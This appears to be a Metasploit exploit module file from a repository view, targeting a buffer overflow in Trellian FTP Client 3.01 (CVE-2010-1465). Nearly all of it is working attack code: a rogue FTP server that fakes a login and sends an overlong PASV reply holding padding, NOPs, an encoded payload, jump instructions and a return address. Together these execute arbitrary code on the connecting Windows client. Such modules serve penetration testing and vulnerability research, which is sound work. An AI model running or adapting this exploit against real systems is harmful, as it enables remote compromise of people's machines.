Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
96 lines
2.3 KiB
Ruby
96 lines
2.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::TcpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Trellian FTP Client 3.01 PASV Remote Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the Trellian 3.01 FTP client that is triggered
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through an excessively long PASV message.
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},
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'Author' =>
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[
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'zombiefx', # Original exploit author
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'dookie' # MSF module author
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2010-1465'],
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[ 'OSVDB', '63812'],
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[ 'EDB', '12152' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Payload' =>
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{
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'Space' => 900,
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'BadChars' => "\x00\x29\x2c\x2e",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP Universal', { 'Ret' => "\xfd\x21\x40" } ], # 0x004021fd p/p/r in ftp.exe
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],
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'Privileged' => false,
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'DisclosureDate' => 'Apr 11 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
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], self.class)
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end
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def on_client_connect(client)
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return if ((p = regenerate_payload(client)) == nil)
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# Let the client log in
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client.get_once
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user = "331 Please specify the password.\r\n"
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client.put(user)
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client.get_once
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pass = "230 Login successful.\r\n"
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client.put(pass)
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# Handle the clients PWD command
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client.get_once
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pwd = "257 \"/\" is current directory.\r\n"
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client.put(pwd)
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client.get_once
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sploit = "227 Entering Passive Mode ("
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sploit << rand_text_alpha_upper(2171)
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sploit << make_nops(100)
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sploit << payload.encoded
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sploit << make_nops(900 - (payload.encoded.length))
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sploit << "\xe9\x18\xfc\xff\xff" # Jump back 1000 bytes
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sploit << "\xeb\xf9\x90\x90" # Jump back 7 bytes
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sploit << [target.ret].pack("A3")
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sploit << ")\r\n"
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client.put(sploit)
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end
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end
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